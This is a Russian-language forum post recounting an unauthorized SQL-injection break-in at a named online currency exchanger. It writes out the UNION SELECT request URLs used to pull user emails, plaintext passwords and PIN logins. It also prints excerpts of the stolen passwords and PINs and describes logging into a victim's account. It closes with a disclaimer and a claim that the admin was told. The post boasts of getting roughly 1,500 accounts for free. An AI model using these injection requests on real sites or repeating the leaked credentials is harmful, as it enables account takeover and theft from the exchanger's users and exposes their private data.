Атака на онлайн-обменник

CUK77

Professional
Messages
1,193
Reputation
3
Reaction score
386
Points
83
Intro

Когда бродишь по раскрученным хак-форумам, то и дело натыкаешься на объявления типа: «Продам базу обменника за 10k». Возникает вопрос: откуда берутся такие базы? Очевидно, что добро было выведено после громкого взлома. И не факт, что админы закрыли баг, через который поимели буржуйскую систему. Подобный топик я узрел на одной, известной узкому кругу, борде. Какие-то чуваки продавали базу с онлайн-обменника eForexGold (www.e-forexgold.com). Просмотрев по диагонали пост, я решил самостоятельно взглянуть на данный ресурс. У меня была надежда, что уязвимость все еще присутствует, а следовательно, появлялась возможность заполучить базу на халяву.

Первый осмотр

Вбив в адресной строке браузера www.e-forexgold.com, я оказался на сайте обменника. В верхней части страницы находилось меню. Мое внимание сразу привлекли такие разделы, как buy, sell, exchange rate, debit cards, gold merchant. Просмотрев информацию, предоставленную на сайте, я обнаружил, что, кроме различных платежных систем, включая e-gold, обменник работает и с WebMoney. Сей факт почему-то вызвал улыбку на моем лице. Ну что же, настало время «протестировать» пациента ;). Изучив движок сайта, я понял, что расчитывать на инклуд или прочий режущий глаза баг - бесполезно. На ресурсах подобного уровня админы, как правило, заслуженно получают свою зарплату. Ради интереса я решил проверить наличие веб-директории /admin. Оказалось, что она действительно существовала по адресу: https://www.e-forexgold.com/admin/, но для входа требовался логин и пароль, которых у меня, естественно, не было. Тогда я начал осматривать разделы меню. Наиболее значимым мне показался пунктик xtransxpress. Я нажал на ссылку, и передо мной предстала форма входа в личный кабинет аккаунта. Тестирование скрипта авторизации показало, что он был написан достаточно грамотно: входящие данные фильтровались и не отображались в браузере. Аналогично дело обстояло еще с несколькими разделами. Я уже стал подумывать о том, что админ самостоятельно пропатчил движок, либо я работаю в неправильном направлении, но вдруг мне на глаза попался ничем не приметный раздел gold merchant. В нем присутствовал скрипт default.php, который использовал значение параметра categoryid. В общем виде линк выглядел так:

https://www.e-forexgold.com/member_directory/default.php?categoryid=1

Я предположил, что происходит выборка данных из БД, и оказался прав. Подставив символ кавычки ' в значение параметра categoryid, я передал следующий запрос и сразу же получил в ответ сообщение об ошибке:

Code:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\' ORDER BY name' at line 1

Вот оно! Тривиальная SQL-injection все-таки присутствовала, и это не могло не радовать. Оставалось лишь грамотно раскрутить найденный баг, что я и сделал.

В недрах БД

В сети можно найти огромное количество материала по sql-injection (да и мы не раз писали об этом), поэтому я не стану объяснять основы данного ремесла, а перейду сразу к эксплуатации обнаруженной уязвимости. Первое, что меня интересовало, - мои права, а точнее права моего юзера в базе. Как известно, доступ к mysql.user имеет только определенный круг пользователей, указанный рутом. Для того чтобы проверить привилегии своего юзера, я сформировал запрос вида:

https://www.e-forexgold.com/member_...ategoryid=-1+union+select+*+from+mysql.user/*

На что MySQL ругнулся, выдав следующий ответ:

Code:
SELECT command denied to user 'eforexgold'@'localhost' for table 'user'

Увы, но доступа к таблице пользователей MySQL я не имел, а следовательно, получить хэш рутового пароля не представлялось возможным. Но, несмотря на этот прискорбный факт, инъекция действительно работала, а это - главное. К сожалению, я не владел информацией о названиях таблиц в базе, поэтому после недолгих раздумий я решил положиться на удачу, попробовав вручную подобрать имена таблиц. Остановив свой выбор на названии «users», я вбил в адресную строку:

https://www.e-forexgold.com/member_...tegoryid=-1+union+select+1,login+from+users/*

В результате чего меня послали идти лесом:

Table 'eforexgold.users' doesn't exist

Тогда я изменил «users» на «user», исправив запрос соответствующим образом:

https://www.e-forexgold.com/member_...ategoryid=-1+union+select+1,login+from+user/*

На этот раз мне повезло. Мускул вернул ответ:

Code:
Unknown column 'login' in 'field list'

Что свидетельствовало об отсутствии поля «login» в таблице «user». Далее необходимо было подобрать названия полей. Брутфорс запускать не имело смысла, и я решил проверить имена полей форм при регистрации. У меня оставалась надежда, что они могут совпасть с названиями полей в базе. Ведь все данные, полученные из полей форм, обрабатываются php-сценарием, который, вероятно, осуществляет обращение к базе MySQL, внося в значения полей нужные изменения. Выбрав раздел регистрации (www.e-forexgold.com/transxpress/users/new), я открыл html-код страницы:

Code:
<p><label for="user_firstname">First name</label><br/>

<input id="user_firstname" name="user[firstname]" size="30" type="text" /></p>

<p><label for="user_lastname">Last name</label><br/>

<input id="user_lastname" name="user[lastname]" size="30" type="text" /></p>

<p><label for="user_email">Email</label><br/>

<input id="user_email" name="user[email]" size="30" type="text" /></p>

<p><label for="user_phone">Phone</label><br/>

<input id="user_phone" name="user[phone]" size="30" type="text" /><br/>

Must be home phone. Mobile/Cell or fax<br/> numbers not accepted.</p>

<p><label for="user_password">Password</label><br/>

<input id="user_password" name="user[password]" size="30" type="password" /></p>

Меня интересовало значение параметра name, которое передавалось скрипту с данными, введенными юзером при регистрации. Для примера я попробовал выбрать мыльники пользователей из базы, указав в названии поля «email». Получился запрос такого вида:

https://www.e-forexgold.com/member_...ategoryid=-1+union+select+1,email+from+user/*

Через несколько секунд я стал обладателем небольшого спам-листа (кусок):

|[email protected] | [email protected] | [email protected] | [email protected] | [email protected] | [email protected] | [email protected] | [email protected] | [email protected] | [email protected] | [email protected] | [email protected] | [email protected] | [email protected] | [email protected] | [email protected] | [email protected] |

Улыбка в очередной раз пробежала по моему лицу. Я быстро сконструировал еще один запрос к базе:

https://www.e-forexgold.com/member_...goryid=-1+union+select+1,password+from+user/*

И получил список всех паролей (кусок):

| stolli01 | Jkg4d3Sd3 | wbm344action | corella5843 | DWF498 | a3373a | cauthon | 1234 | a030373a | ANDREW | @9SHkAfG#gZ5913j | mosdef | yulka | qwerty | rony290872 | aenbavidi | grimmy1 | 061394 | rebecca | hN@R1RL0pH | Cesarina35 | momo111 | 12345678 | rashaki | r3ndh1 | porc0405 | power | IrTsclLREx4r | newyork2 | zach97 | locarno | 2shmily11999 | obi4ampari | currency | Parzival01 | 230872 | meggsy2 | a12345 | e354d | X43gaF=63Y | lin67kei | orb_sp | gredgwin | 123JhMDIqeQ124 | owsNSXS7 | online |

Неплохо. Но мне хотелось большего — базы вида логин/пароль/email. Как извлечь мыльники и пароли, я уже знал. Оставалось определить название поля, хранящего в себе логины юзеров. К сожалению, данные из html-кода формы регистрации на этот раз мне не помогли. Тогда я начал перебирать различные варианты названия поля в таблице: user, userid, account, name и т.д. При подстановке «name» в запрос к базе я получил список имен юзеров, который мне, впрочем, не облегчил задачу. Побродив еще немного по сайту обменника, я наткнулся на интересную заметку в разделе восстановления пароля. В ней говорилось о каком-то PIN'е. Сначала я подумал, что в системе существует дополнительная функция безопасности, использующая пин-код. Ради интереса я сделал выборку из БД по полю «pin»:

https://www.e-forexgold.com/member_...?categoryid=-1+union+select+1,pin+from+user/*

После чего появился ответ (кусок):

| TX-31769 | TX-65552 | TX-96019 | TX-14221 | TX-90355 | TX-59674 | TX-96297 | TX-83594 | TX-77292 | TX-61732 | TX-26514 | TX-47046 | TX-32178 | TX-62544 | TX-23077 | TX-90086 | TX-53533 | TX-64442 | TX-67213 |

Я ненадолго задумался. Странный формат записи пина почему-то не давал мне покоя. А что если этот пин и есть логин юзера? Я выбрал опцию восстановления пароля и ввел первый попавшийся пин. Нажав enter, я увидел сообщение, содержание которого гласило о том, что пасс был отправлен на указанное при регистрации мыло. Значит, мое предположение оказалось верным: логином юзера служил именно pin. Теперь было необходимо слить базу в удобочитаемом виде. Для этого я использовал функцию CONCAT(), объединяющую строки, а полученные данные разделил при помощи char(32), то есть пробела. Сам запрос получился такой:

https://www.e-forexgold.com/member_...l,char(32),password,char(32),pin)+from+user/*

Через некоторое время MySQL послушно выполнил мою команду, и я получил, что хотел, — базу формата email/пароль/логин.

Управление чужим аккаунтом

Выполнив цель своего визита, я решил проверить практическую ценность базы. Все карты были у меня на руках: пароль хранился в открытом виде, а вместо логина использовался пин. Выбрав наугад первого попавшегося юзера, я залогинился в обменике. Внутри находилось меню управления аккаунтом, в котором можно было указать свой кошелек и банковские реквизиты, а также узнать состояние баланса. Разобравшись с меню, я понял, что вывести чужие деньги себе на счет в bitcoin не составит труда. Но делать этого не стал – свобода дороже.

Итоги взлома

Так уж я привык, подводить итоги после каждого взлома. Так как время дорого, а бесполезно растраченное время - дорого вдвойне. К счастью, в этом случае время было потрачено не зря. Я получил ценную базу на 1500 аккаунтов пользователей онлайн-обменника. А админ ресурса получил письмо от меня с описанием баги. Таким образом, почти все остались довольны, и мне не пришлось тратить кучу баксов на базу, лежащую на поверхности.

Памяти DESiGNER'a посвящается

Статью, которую ты сейчас читаешь, и сам взлом я посвящаю своему другу - DESiGNER'у, разбившемуся в автокатастрофе 12 июля и в последствие умершему в больнице 18 июля 2006 года. Он был честным вендором и просто хорошим человеком, основавшим ресурс p4p (www.peace4peace.com). Рюмку до дна за тебя, DESiGNER, пусть земля тебе будет пухом...

WARNING

Внимание! Все действия взломщика противозаконны! Информация предоставлена исключительно с целью ознакомления! Ни автор, ни редакция за твои действия ответственности не несут!

INFO

Никогда не пренебрегай sql-injection, даже если ты не знаешь названий таблиц и полей. В своей статье я наглядно показал опасность подобного рода уязвимостей.
 
Top